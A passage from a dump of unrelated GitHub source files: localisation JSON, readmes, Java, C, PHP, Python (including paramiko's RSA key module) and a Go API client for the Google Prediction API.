неверным или самоподписанным сертификатом: \"%s\". Игнорирование проверки SSL может не помешать входу на сайт для вас, но это менее безопасно. Вы можете изменить проверку SSL в любое время в настройках.", "IgnoreSslError": "Игнорировать ошибку SSL", "RatingDontRemindMe": "Не напоминать мне", "RatingNotNow": "Не сейчас", "RatingNow": "OK, сейчас оценю", "RatingPleaseRateUs": "Мобильное приложение Matomo бесплатно, мы будем очень благодарны вам, если вы найдете минутку, чтобы оценить приложение в %1$s. Если у вас есть предложения по новым функциям или вы нашли баг, пожалуйста свяжитесь с %2$s", "ReleaseToRefresh": "Отпустите, чтобы обновить...", "Reloading": "Обновление...", "RequestTimedOutShort": "Ошибка времени ожидания в сети", "RestrictedCompatibility": "Ограниченная совместимость", "RestrictedCompatibilityExplanation": "Используемая версия Matomo %s не полностью поддерживается Matomo Mobile 2. Возможны ошибки во время работы. Мы рекомендуем либо обновить Matomo до последней версии, либо использовать Matomo Mobile 1.", "SaveSuccessError": "Пожалуйста, проверьте настройки", "SearchWebsite": "Искать сайты", "ShowAll": "Показать все", "ShowLess": "Показать меньше", "StaticGraph": "Обзор графика", "TopVisitedWebsites": "Самые посещаемые вебсайты", "TryIt": "Попробуйте!", "UseSearchBarHint": "Здесь отображаются только первые %s сайтов. Пожалуйста, используйте строку поиска, чтобы получить доступ к других вашим сайтам.", "VerifyAccount": "Верификация аккаунта", "ValidateSslCertificate": "Проверить SSL-сертификат", "VerifyLoginData": "Убедитесь, что Вы ввели имя пользователя и пароль правильно.", "YouAreOffline": "Извините, но Вы сейчас офлайн", "ExceptionNoViewAccess": "Пожалуйста, проверьте свои имя и пароль и убедитесь, что у вас есть доступ %s, по крайней мере, к одному сайту.", "Mobile_HowtoExitAndroid": "Пожалуйста, нажмите НАЗАД еще раз, чтобы выйти", "MatomoMarketplace": "Matomo Marketplace", "EnterAuthCode": "Введите код аутентификации", "EnterCorrectAuthCode": "Введите правильный код аутентификации", "EnterAuthCodeExplanation": "Похоже, вы используете двухфакторную аутентификацию. Пожалуйста, введите шестизначный код для входа в свою учетную запись." }, "RowEvolution": { "AvailableMetrics": "Доступные показатели", "CompareDocumentation": "Нажмите на ссылку ниже, чтобы открыть всплывающее окно для другой строки из той же самой таблицы для сравнения нескольких записей.<br \/>Используйте shift+клик, чтобы пометить строку для дальнейшего сравнения без открытия всплывающего окна.", "CompareRows": "Сравнить записи", "ComparingRecords": "Сравнение %s строк", "Documentation": "Нажмите на показатели, для отображения динамики на большом графике. Используйте shift+клик для отображения нескольких показателей одновременно.", "MetricBetweenText": "между %1$s и %2$s", "MetricChangeText": "%s изменений за период", "MetricMinMax": "%1$s выставленый между %2$s и %3$s больше периода", "MetricsFor": "Показатели для %s", "MultiRowEvolutionTitle": "Динамика нескольких строк", "PickAnotherRow": "Выберите другую строку для сравнения", "PickARow": "Выберите строку для сравнения" } }
{ "pile_set_name": "Github" }
{ "app": { "loading": "Laden...", "offline": "Verbinden niet mogelijk, bent u offline?", "logginIn": "Inloggen..." }, "error": { "insufficientRights": "U heeft onvoldoende rechten voor deze actie." }, "buttons": { "ok": "OK", "cancel": "Annuleren", "save": "Opslaan", "edit": "bijwerken", "send": "Versturen", "next": "Volgende", "previous": "Vorige", "back": "Terug", "skip": "Overslaan", "sending": "Verzenden...", "create": "Aanmaken", "tryToReconnect": "Probeer te verbinden", "stayAnonymous": "Blijf anoniem", "authorize": "Autoriseren" }, "commonWords": { "you": "u", "send": "Verstuur", "or": "of", "of": "van", "with": "met", "and": "en", "on": "op", "per": "per" } }
{ "pile_set_name": "Github" }
============== Duktape extras ============== Extra modules and utilities. Extras provide functionality that doesn't comfortably fit into the main Duktape library, perhaps for footprint or portability reasons, but are still useful for most users. Extras are maintained and will be bug fixed. However, they don't have the same semantic versioning guarantees like the main Duktape library. Extras may be dropped without warning as Duktape is versioned. For instance, if an extra breaks due to Duktape changes and there is no time to fix it, the missing extra won't block a release and will be dropped.
{ "pile_set_name": "Github" }
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.xpath.objects; import org.apache.xml.dtm.DTM; import org.apache.xpath.XPathContext; /* * * @author igorh * * Simple wrapper to DTM and XPathContext objects. * Used in XRTreeFrag for caching references to the objects. */ public final class DTMXRTreeFrag { private DTM m_dtm; private int m_dtmIdentity = DTM.NULL; private XPathContext m_xctxt; public DTMXRTreeFrag(int dtmIdentity, XPathContext xctxt){ m_xctxt = xctxt; m_dtmIdentity = dtmIdentity; m_dtm = xctxt.getDTM(dtmIdentity); } public final void destruct(){ m_dtm = null; m_xctxt = null; } final DTM getDTM(){return m_dtm;} public final int getDTMIdentity(){return m_dtmIdentity;} final XPathContext getXPathContext(){return m_xctxt;} public final int hashCode() { return m_dtmIdentity; } public final boolean equals(Object obj) { if (obj instanceof DTMXRTreeFrag) { return (m_dtmIdentity == ((DTMXRTreeFrag)obj).getDTMIdentity()); } return false; } }
{ "pile_set_name": "Github" }
package org.javacs.debug.proto; /** * Evaluate request; value of command field is 'evaluate'. Evaluates the given expression in the context of the top most * stack frame. The expression has access to any variables and arguments that are in scope. */ public class EvaluateRequest extends Request { public EvaluateArguments arguments; }
{ "pile_set_name": "Github" }
/* * Gadget Function Driver for PTP * * Copyright (C) 2014 Google, Inc. * Author: Badhri Jagan Sridharan <[email protected]> * * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * */ #include <linux/module.h> #include <linux/types.h> #include <linux/configfs.h> #include <linux/usb/composite.h> #include "f_mtp.h" static struct usb_function_instance *ptp_alloc_inst(void) { return alloc_inst_mtp_ptp(false); } static struct usb_function *ptp_alloc(struct usb_function_instance *fi) { return function_alloc_mtp_ptp(fi, false); } DECLARE_USB_FUNCTION_INIT(ptp, ptp_alloc_inst, ptp_alloc); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Badhri Jagan Sridharan");
{ "pile_set_name": "Github" }
/* * Copyright (C) 2008 Apple Inc. All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef IconFetcher_h #define IconFetcher_h #include <wtf/RefCounted.h> #include <wtf/Forward.h> #include <wtf/Vector.h> #include "ResourceHandleClient.h" namespace WebCore { class Frame; struct IconLinkEntry; class ResourceHandle; class SharedBuffer; class IconFetcherClient { public: virtual void finishedFetchingIcon(PassRefPtr<SharedBuffer> iconData) = 0; virtual ~IconFetcherClient() { } }; class IconFetcher : public RefCounted<IconFetcher>, ResourceHandleClient { public: static PassRefPtr<IconFetcher> create(Frame*, IconFetcherClient*); ~IconFetcher(); void cancel(); private: IconFetcher(Frame*, IconFetcherClient*); void loadEntry(); void loadFailed(); PassRefPtr<SharedBuffer> createIcon(); virtual void didReceiveResponse(ResourceHandle*, const ResourceResponse&); virtual void didReceiveData(ResourceHandle*, const char*, int, int lengthReceived); virtual void didFinishLoading(ResourceHandle*); virtual void didFail(ResourceHandle*, const ResourceError&); Frame* m_frame; IconFetcherClient* m_client; unsigned m_currentEntry; RefPtr<ResourceHandle> m_handle; Vector<IconLinkEntry> m_entries; }; } // namespace WebCore #endif // IconFetcher_h
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <Workspace version = "1.0"> <FileRef location = "self:Connect SDK.xcodeproj"> </FileRef> </Workspace>
{ "pile_set_name": "Github" }
readme.1st. The files in the lib/tests/WinGUI directory are taken from "Programming Windows 3.1" by Charles Petzold, specifically, the programs in chapter 14 related to the "poppad4" sample application. These programs are compiled with nspr20 to test nspr 2.0 and to demostrate the use of nspr in a gui application. Library (DLL) PLDSxx.lib PLDSxx.dll is required to be linked with this test case. Functions in this dll are in the source ns/nspr20/lib/ds/plevent.* files. Permission to use. The source for poppad.c are used under license from Petzold. The license to use is stated in the book. The following paragraph of the license grants that use. 5. SAMPLE CODE. If the SOFTWARE includes Sample Code, then Microsoft grants you a royalty-free right to reproduce and distribute the sample code of the SOFTWARE provided that you: (a) distribute the sample code only in conjunction with and as part of your software product; (b) do not use Microsoft's or its authors' names, logos, or trademarks to market your software product; (c) include the copyright notice that appears on the SOFTWARE on your product label and as a part of the sign-on message for your software product; and (d) agree to idemnify, hold harmless, and defend Microsoft and its authors from and against any claims or lawsuits, including attorneys' fees, that arise or result from the use or distribution of your software product. lth. 9/24/97.
{ "pile_set_name": "Github" }
<?php /** * Created by PhpStorm. * User: zhangjincheng * Date: 17-10-30 * Time: 下午7:25 */ namespace Server\Components\Backstage; use Server\Components\CatCache\CatCacheRpcProxy; use Server\Components\Cluster\ClusterProcess; use Server\Components\Process\ProcessManager; use Server\Components\SDDebug\SDDebug; use Server\Components\SDHelp\SDHelpProcess; use Server\CoreBase\Actor; use Server\CoreBase\ChildProxy; use Server\CoreBase\Controller; use Server\Start; use Server\SwooleMarco; class Console extends Controller { private $enableXdebug; public function __construct(string $proxy = ChildProxy::class) { parent::__construct($proxy); $this->enableXdebug = $this->config->get('backstage.xdebug_enable', false); } /** * onConnect * @return void * @throws \Exception */ public function back_onConnect() { $this->bindUid("#bs:" . getNodeName() . $this->fd); get_instance()->protect($this->fd); $type = $this->http_input->get("type"); $uid = $this->http_input->get("uid"); switch ($type) { case "channel": if (!empty($uid)) { $this->addSub('$SYS_CHANNEL/' . $uid . "/#"); } else { $this->addSub('$SYS_CHANNEL/#'); } break; case "xdebug": if (!$this->enableXdebug) { $this->close(); return; } if (Start::getXDebug()) { $this->addSub('$SYS_XDEBUG/#'); $files = read_dir_queue(APP_DIR); $sendFiles = []; foreach ($files as $file) { $file = explode("src/app", $file)[1]; $list = explode("/", $file); if (count($list) < 3) { continue; } if ($list[1] == "Process" || $list[1] == "AMQPTasks" || $list[1] == "Console" || $list[1] == "Tasks" || $list[1] == "Views") { continue; } $sendFiles[] = $file; } $this->autoSend($sendFiles, '$SYS_XDEBUG/DebugFiles'); } else { $this->close(); } break; case "coverage": if (Start::getCoverage()) { $this->addSub('$SYS_COVERAGE/#'); $files = read_dir_queue(APP_DIR); $sendFiles = []; foreach ($files as $file) { $file = explode("src/app", $file)[1]; $sendFiles[] = $file; } $this->autoSend($sendFiles, '$SYS_COVERAGE/Files'); } else { $this->close(); } break; default: $this->addSub('$SYS/#'); } } /** * onClose */ public function back_onClose() { } /** * 设置debug * @param $node_name * @param $bool * @throws \Exception */ public function back_setDebug($node_name, $bool) { if (get_instance()->isCluster()) { ProcessManager::getInstance()->getRpcCall(ClusterProcess::class, true)->my_setDebug($node_name, $bool); } else { Start::setDebug($bool); } $this->autoSend("ok"); } /** * reload * @param $node_name * @throws \Exception */ public function back_reload($node_name) { if (get_instance()->isCluster()) { ProcessManager::getInstance()->getRpcCall(ClusterProcess::class, true)->my_reload($node_name); } else { get_instance()->server->reload(); } $this->autoSend("ok"); } /** * 获取所有的Sub * @throws \Exception */ public function back_getAllSub() { $result = ProcessManager::getInstance()->getRpcCall(ClusterProcess::class)->my_getAllSub(); $this->autoSend($result); } /**获取uid信息 * @param $uid * @throws \Exception */ public function back_getUidInfo($uid) { $uidInfo = get_instance()->getUidInfo($uid); $this->autoSend($uidInfo); } /** * 获取所有的uid * @throws \Exception */ public function back_getAllUids() { $uids = get_instance()->coroutineGetAllUids(); $this->autoSend($uids); } /** * 获取sub的uid * @param $topic * @throws \Exception */ public function back_getSubUid($topic) { $uids = get_instance()->getSubMembersCoroutine($topic); $this->autoSend($uids); } /** * 获取uid所有的订阅 * @param $uid * @throws \Exception */ public function back_getUidTopics($uid) { $topics = get_instance()->getUidTopicsCoroutine($uid); $this->autoSend($topics); } /** * 获取统计信息 * @param $node_name * @param $index * @param $num * @throws \Exception */ public function back_getStatistics($node_name, $index, $num) { if (!get_instance()->isCluster() || $node_name == getNodeName()) { $map = ProcessManager::getInstance()->getRpcCall(SDHelpProcess::class)->getStatistics($index, $num); } else { $map = ProcessManager::getInstance()->getRpcCall(ClusterProcess::class)->my_getStatistics($node_name, $index, $num); } $this->autoSend($map); } /** * 获取CatCache信息 * @param $path * @throws \Exception */ public function back_getCatCacheKeys($path) { $result = CatCacheRpcProxy::getRpc()->getKeys($path); $this->autoSend($result); } /** * 获取CatCache信息 * @param $path * @throws \Exception */ public function back_getCatCacheValue($path) { $result = CatCacheRpcProxy::getRpc()[$path]; $this->autoSend($result); } /** * 删除CatCache信息 * @param $path * @throws \Exception */ public function back_delCatCache($path) { unset(CatCacheRpcProxy::getRpc()[$path]); $this->autoSend("ok"); } /** * 获取Actor信息 * @param $name * @throws \Exception */ public function back_getActorInfo($name) { $result = CatCacheRpcProxy::getRpc()["@Actor.$name"]; $this->autoSend($result); } /** * 销毁Actor * @param $name * @throws \Exception */ public function back_destroyActor($name) { Actor::destroyActor($name); $this->autoSend("ok"); } /** * 销毁全部Actor * @throws \Exception */ public function back_destroyAllActor() { Actor::destroyAllActor(); $this->autoSend("ok"); } /** * @param $filedebugs * @throws \Exception */ public function back_debugBreak($filedebugs) { SDDebug::debugFile($filedebugs); $this->autoSend("ok", '$SYS_XDEBUG/StartBreak'); } /** * @throws \Exception */ public function back_nextBreak() { SDDebug::nextBreak(); $this->autoSend("ok"); } /** * @throws \Exception */ public function back_rollBreak() { Start::cleanXDebugLock(); $this->autoSend("ok", '$SYS_XDEBUG/RollBreak'); } /** * @throws \Exception */ public function back_stopBreak() { SDDebug::stopDebug(); $this->autoSend("ok", '$SYS_XDEBUG/StopBreak'); } /** * @param $file * @throws \Exception */ public function back_getAppFile($file) { if ($this->request_type == SwooleMarco::HTTP_REQUEST) { throw new \Exception("不允许http访问此接口"); } if (is_file(APP_DIR . $file)) { $src = file_get_contents(APP_DIR . $file); $this->autoSend(['file' => $file, "text" => explode("\n", $src)], '$SYS_XDEBUG/DebugFile'); } } /** * @param $file * @throws \Exception */ public function back_getFileCoverage($file) { if ($this->request_type == SwooleMarco::HTTP_REQUEST) { throw new \Exception("不允许http访问此接口"); } if (is_file(APP_DIR . $file)) { $src = file_get_contents(APP_DIR . $file); $result = $this->redis->zScan(SwooleMarco::CodeCoverage, 0, "$file:*", 10000000)['data']; $data['file'] = $file; $data['lines'] = []; $line_srcs = explode("\n", $src); foreach ($line_srcs as $key => $value) { $line['text'] = $value; $_line = $key+1; $line['count'] = $result["$file:$_line"] ?? 0; $data['lines'][] = $line; } $this->autoSend($data, '$SYS_COVERAGE/File'); } } /** * @throws \Exception */ public function back_getCoverageScore() { $result = $this->redis->zRevRangeByScore(SwooleMarco::CodeCoverage, "+inf", "-inf", ['withscores' => true, 'limit' => [0,2000]]); $data = []; foreach ($result as $key=>$value){ $data[] = ['text'=>$key,'count'=>$value]; } $this->autoSend($data, '$SYS_COVERAGE/Score'); } /** * @param $data * @param null $topic * @throws \Exception */ protected function autoSend($data, $topic = null) { switch ($this->request_type) { case SwooleMarco::TCP_REQUEST: if (empty($topic)) { $this->send($data); } else { get_instance()->send($this->fd, $data, true, $topic); } break; case SwooleMarco::HTTP_REQUEST: if (is_array($data) || is_object($data)) { $output = json_encode($data, JSON_UNESCAPED_UNICODE); } else { $output = $data; } $this->http_output->setHeader("Content-Type", "text/html;charset=utf-8"); $this->http_output->setHeader("Access-Control-Allow-Origin", "*"); $this->http_output->end($output); break; } } }
{ "pile_set_name": "Github" }
# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import sys import unittest from selenium.common.exceptions import TimeoutException # Local Imports from autofill_task.exceptions import ExpectationFailure from .flow import AutofillTestFlow class AutofillTestCase(unittest.TestCase): """Wraps a single autofill test flow for use with the unittest library. task_class: AutofillTask to use for the test. profile: Dict of profile data that acts as the master source for validating autofill behaviour. debug: Whether debug output should be printed (False if not specified). """ def __init__(self, task_class, user_data_dir, profile, chrome_binary=None, debug=False): super(AutofillTestCase, self).__init__('run') self._flow = AutofillTestFlow(task_class, profile, debug=debug) self._user_data_dir = user_data_dir self._chrome_binary = chrome_binary self._debug = debug def __str__(self): return str(self._flow) def run(self, result): result.startTest(self) try: self._flow.run(self._user_data_dir, chrome_binary=self._chrome_binary) except KeyboardInterrupt: raise except (TimeoutException, ExpectationFailure): result.addFailure(self, sys.exc_info()) except: result.addError(self, sys.exc_info()) else: result.addSuccess(self) finally: result.stopTest(self)
{ "pile_set_name": "Github" }
/** * BSD-style license; for more info see http://pmd.sourceforge.net/license.html */ package net.sourceforge.pmd.typeresolution.testdata; public enum EnumWithAnonymousInnerClass { A { @Override public void foo() { super.foo(); } }, B; public void foo() { } interface Inner { int get(); } public static final Inner VAL = new Inner() { @Override public int get() { return 1; } }; }
{ "pile_set_name": "Github" }
# Copyright (C) 2003-2007 Robey Pointer <[email protected]> # # This file is part of paramiko. # # Paramiko is free software; you can redistribute it and/or modify it under the # terms of the GNU Lesser General Public License as published by the Free # Software Foundation; either version 2.1 of the License, or (at your option) # any later version. # # Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR # A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # details. # # You should have received a copy of the GNU Lesser General Public License # along with Paramiko; if not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. """ RSA keys. """ from cryptography.exceptions import InvalidSignature from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa, padding from paramiko.message import Message from paramiko.pkey import PKey from paramiko.py3compat import PY2 from paramiko.ssh_exception import SSHException class RSAKey(PKey): """ Representation of an RSA key which can be used to sign and verify SSH2 data. """ def __init__(self, msg=None, data=None, filename=None, password=None, key=None, file_obj=None): self.key = None if file_obj is not None: self._from_private_key(file_obj, password) return if filename is not None: self._from_private_key_file(filename, password) return if (msg is None) and (data is not None): msg = Message(data) if key is not None: self.key = key else: if msg is None: raise SSHException('Key object may not be empty') if msg.get_text() != 'ssh-rsa': raise SSHException('Invalid key') self.key = rsa.RSAPublicNumbers( e=msg.get_mpint(), n=msg.get_mpint() ).public_key(default_backend()) @property def size(self): return self.key.key_size @property def public_numbers(self): if isinstance(self.key, rsa.RSAPrivateKey): return self.key.private_numbers().public_numbers else: return self.key.public_numbers() def asbytes(self): m = Message() m.add_string('ssh-rsa') m.add_mpint(self.public_numbers.e) m.add_mpint(self.public_numbers.n) return m.asbytes() def __str__(self): # NOTE: as per inane commentary in #853, this appears to be the least # crummy way to get a representation that prints identical to Python # 2's previous behavior, on both interpreters. # TODO: replace with a nice clean fingerprint display or something if PY2: # Can't just return the .decode below for Py2 because stuff still # tries stuffing it into ASCII for whatever godforsaken reason return self.asbytes() else: return self.asbytes().decode('utf8', errors='ignore') def __hash__(self): h = hash(self.get_name()) h = h * 37 + hash(self.public_numbers.e) h = h * 37 + hash(self.public_numbers.n) return hash(h) def get_name(self): return 'ssh-rsa' def get_bits(self): return self.size def can_sign(self): return isinstance(self.key, rsa.RSAPrivateKey) def sign_ssh_data(self, data): signer = self.key.signer( padding=padding.PKCS1v15(), algorithm=hashes.SHA1(), ) signer.update(data) sig = signer.finalize() m = Message() m.add_string('ssh-rsa') m.add_string(sig) return m def verify_ssh_sig(self, data, msg): if msg.get_text() != 'ssh-rsa': return False key = self.key if isinstance(key, rsa.RSAPrivateKey): key = key.public_key() verifier = key.verifier( signature=msg.get_binary(), padding=padding.PKCS1v15(), algorithm=hashes.SHA1(), ) verifier.update(data) try: verifier.verify() except InvalidSignature: return False else: return True def write_private_key_file(self, filename, password=None): self._write_private_key_file( filename, self.key, serialization.PrivateFormat.TraditionalOpenSSL, password=password ) def write_private_key(self, file_obj, password=None): self._write_private_key( file_obj, self.key, serialization.PrivateFormat.TraditionalOpenSSL, password=password ) @staticmethod def generate(bits, progress_func=None): """ Generate a new private RSA key. This factory function can be used to generate a new host key or authentication key. :param int bits: number of bits the generated key should be. :param function progress_func: Unused :return: new `.RSAKey` private key """ key = rsa.generate_private_key( public_exponent=65537, key_size=bits, backend=default_backend() ) return RSAKey(key=key) ### internals... def _from_private_key_file(self, filename, password): data = self._read_private_key_file('RSA', filename, password) self._decode_key(data) def _from_private_key(self, file_obj, password): data = self._read_private_key('RSA', file_obj, password) self._decode_key(data) def _decode_key(self, data): try: key = serialization.load_der_private_key( data, password=None, backend=default_backend() ) except ValueError as e: raise SSHException(str(e)) assert isinstance(key, rsa.RSAPrivateKey) self.key = key
{ "pile_set_name": "Github" }
gcr.io/google_containers/kube-controller-manager-arm64:v1.11.3
{ "pile_set_name": "Github" }
--- github: trufont/trufont logohandle: trufont sort: trufont title: TruFont website: 'http://trufont.github.io/' ---
{ "pile_set_name": "Github" }
// Package prediction provides access to the Prediction API. // // See https://developers.google.com/prediction/docs/developer-guide // // Usage example: // // import "google.golang.org/api/prediction/v1.2" // ... // predictionService, err := prediction.New(oauthHttpClient) package prediction // import "google.golang.org/api/prediction/v1.2" import ( "bytes" "encoding/json" "errors" "fmt" context "golang.org/x/net/context" ctxhttp "golang.org/x/net/context/ctxhttp" gensupport "google.golang.org/api/gensupport" googleapi "google.golang.org/api/googleapi" "io" "net/http" "net/url" "strconv" "strings" ) // Always reference these packages, just in case the auto-generated code // below doesn't. var _ = bytes.NewBuffer var _ = strconv.Itoa var _ = fmt.Sprintf var _ = json.NewDecoder var _ = io.Copy var _ = url.Parse var _ = gensupport.MarshalJSON var _ = googleapi.Version var _ = errors.New var _ = strings.Replace var _ = context.Canceled var _ = ctxhttp.Do const apiId = "prediction:v1.2" const apiName = "prediction" const apiVersion = "v1.2" const basePath = "https://www.googleapis.com/prediction/v1.2/" // OAuth2 scopes used by this API. const ( // Manage your data and permissions in Google Cloud Storage DevstorageFullControlScope = "https://www.googleapis.com/auth/devstorage.full_control" // View your data in Google Cloud Storage DevstorageReadOnlyScope = "https://www.googleapis.com/auth/devstorage.read_only" // Manage your data in Google Cloud Storage DevstorageReadWriteScope = "https://www.googleapis.com/auth/devstorage.read_write" // Manage your data in the Google Prediction API PredictionScope = "https://www.googleapis.com/auth/prediction" ) func New(client *http.Client) (*Service, error) { if client == nil { return nil, errors.New("client is nil") } s := &Service{client: client, BasePath: basePath} s.Hostedmodels = NewHostedmodelsService(s) s.Training = NewTrainingService(s) return s, nil } type Service struct { client *http.Client BasePath string // API endpoint base URL UserAgent string // optional additional User-Agent fragment Hostedmodels *HostedmodelsService Training *TrainingService } func (s *Service) userAgent() string { if s.UserAgent == "" { return googleapi.UserAgent } return googleapi.UserAgent + " " + s.UserAgent } func NewHostedmodelsService(s *Service) *HostedmodelsService { rs := &HostedmodelsService{s: s} return rs } type HostedmodelsService struct { s *Service } func NewTrainingService(s *Service) *TrainingService { rs := &TrainingService{s: s} return rs } type TrainingService struct { s *Service } type Input struct { Input *InputInput `json:"input,omitempty"` // ForceSendFields is a list of field names (e.g. "Input") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Input") to include in API // requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *Input) MarshalJSON() ([]byte, error) { type noMethod Input raw := noMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type InputInput struct { CsvInstance []interface{} `json:"csvInstance,omitempty"` // ForceSendFields is a list of field names (e.g. "CsvInstance") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "CsvInstance") to include // in API requests with the JSON null value. By default, fields with // empty values are omitted from API requests. However, any field with // an empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *InputInput) MarshalJSON() ([]byte, error) { type noMethod InputInput raw := noMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type Output struct { Id string `json:"id,omitempty"` Kind string `json:"kind,omitempty"` OutputLabel string `json:"outputLabel,omitempty"` OutputMulti []*OutputOutputMulti `json:"outputMulti,omitempty"` OutputValue float64 `json:"outputValue,omitempty"` SelfLink string `json:"selfLink,omitempty"` // ServerResponse contains the HTTP response code and headers from the // server. googleapi.ServerResponse `json:"-"` // ForceSendFields is a list of field names (e.g. "Id") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Id") to include in API // requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *Output) MarshalJSON() ([]byte, error) { type noMethod Output raw := noMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } func (s *Output) UnmarshalJSON(data []byte) error { type noMethod Output var s1 struct { OutputValue gensupport.JSONFloat64 `json:"outputValue"` *noMethod } s1.noMethod = (*noMethod)(s) if err := json.Unmarshal(data, &s1); err != nil { return err } s.OutputValue = float64(s1.OutputValue) return nil } type OutputOutputMulti struct { Label string `json:"label,omitempty"` Score float64 `json:"score,omitempty"` // ForceSendFields is a list of field names (e.g. "Label") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Label") to include in API // requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *OutputOutputMulti) MarshalJSON() ([]byte, error) { type noMethod OutputOutputMulti raw := noMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } func (s *OutputOutputMulti) UnmarshalJSON(data []byte) error { type noMethod OutputOutputMulti var s1 struct { Score gensupport.JSONFloat64 `json:"score"` *noMethod } s1.noMethod = (*noMethod)(s) if err := json.Unmarshal(data, &s1); err != nil { return err } s.Score = float64(s1.Score) return nil } type Training struct { Id string `json:"id,omitempty"` Kind string `json:"kind,omitempty"` ModelInfo *TrainingModelInfo `json:"modelInfo,omitempty"` SelfLink string `json:"selfLink,omitempty"` TrainingStatus string `json:"trainingStatus,omitempty"` // ServerResponse contains the HTTP response code and headers from the // server. googleapi.ServerResponse `json:"-"` // ForceSendFields is a list of field names (e.g. "Id") to // unconditionally include in API requests. By default, fields with // empty values are omitted from API requests. However, any non-pointer, // non-interface field appearing in ForceSendFields will be sent to the // server regardless of whether the field is empty or not. This may be // used to include empty fields in Patch requests. ForceSendFields []string `json:"-"` // NullFields is a list of field names (e.g. "Id") to include in API // requests with the JSON null value. By default, fields with empty // values are omitted from API requests. However, any field with an // empty value appearing in NullFields will be sent to the server as // null. It is an error if a field in this list has a non-empty value. // This may be used to include null fields in Patch requests. NullFields []string `json:"-"` } func (s *Training) MarshalJSON() ([]byte, error) { type noMethod Training raw := noMethod(*s) return gensupport.MarshalJSON(raw, s.ForceSendFields, s.NullFields) } type TrainingModelInfo struct { ClassificationAccuracy float64 `json:"classificationAccuracy,omitempty"` MeanSquaredError float64 `json:"meanSquaredError,omitempty"` ModelType string `json:"modelType,omitempty"` // ForceSendFields is a list of field names (e.g. // "ClassificationAccuracy") to unconditionally include in API requests. // By default, fields with empty values are omitted from API requests. // 